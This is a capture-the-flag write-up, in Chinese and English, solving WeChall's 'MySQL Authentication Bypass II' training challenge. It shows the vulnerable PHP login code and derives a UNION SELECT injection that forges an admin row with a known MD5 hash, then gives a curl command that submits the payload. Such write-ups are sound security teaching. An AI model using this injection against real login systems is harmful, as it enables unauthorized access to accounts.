WeChall - Training - MySQL II

Challenge

MySQL Authentication Bypass II. Same as MySQL I, but with an additional password hash check. Your mission: Login yourself as admin. MySQL 认证绕过第二版。与 MySQL I 相同,但增加了密码哈希校验。目标:以 admin 身份登录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function auth2_onLogin(WC_Challenge $chall, $username, $password)
{
$db = auth2_db();

$password = md5($password); # step A: hash the password
$query = "SELECT * FROM users WHERE username='$username'";

if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', 'Unknown user');
return false;
}

### NEW CHECK ###
if ($result['password'] !== $password) { # step B: compare hashes
echo GWF_HTML::error('Auth2', 'Wrong password');
return false;
}

if (strtolower($result['username']) === 'admin') { # step C: award points
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}

Solution

约束分析

MySQL I 的 admin' -- 在这里失效了,因为新增的密码校验:

  1. 密码先哈希$password = md5($password) 在查询之前执行,无法通过 SQL 注入绕过
  2. 查询结果校验$result['password'] !== $password 强制查询返回行的 password 列必须等于提交密码的 MD5

解法思路:既然我们需要控制查询返回的 password 值,用 UNION SELECT 自己构造一行即可。

注入点确认

username 直接拼接进 SQL,无任何过滤:

1
SELECT * FROM users WHERE username='<INJECTION>'

列数探测

users 表结构(来自源码注释):

1
2
3
4
5
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
);

3 列:userid, username, password

构造 UNION 注入

选一个任意密码,计算其 MD5,然后用 UNION SELECT 构造一行包含 admin + 该 MD5:

payload 构造过程:

  1. 选密码 xmd5('x') = 9dd4e461268c8034f5c8564e155c67a6
  2. 用户名注入:
    1
    ' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' --
  3. 密码字段填:x

最终 SQL:

1
2
SELECT * FROM users WHERE username=''
UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- '

username='' 不匹配任何用户,UNION 的唯一一行就是 admin + 已知 MD5,完美通过 $result['password'] !== $password 检查。

提交

1
2
3
4
5
$ curl -sL 'https://www.wechall.net/challenge/training/mysql/auth_bypass2/index.php' \
-b 'WC=...' \
--data-urlencode "username=' UNION SELECT 1,'admin','9dd4e461268c8034f5c8564e155c67a6' -- " \
--data-urlencode 'password=x' \
--data-urlencode 'login=Login'

返回 Welcome back, admin!,挑战解决。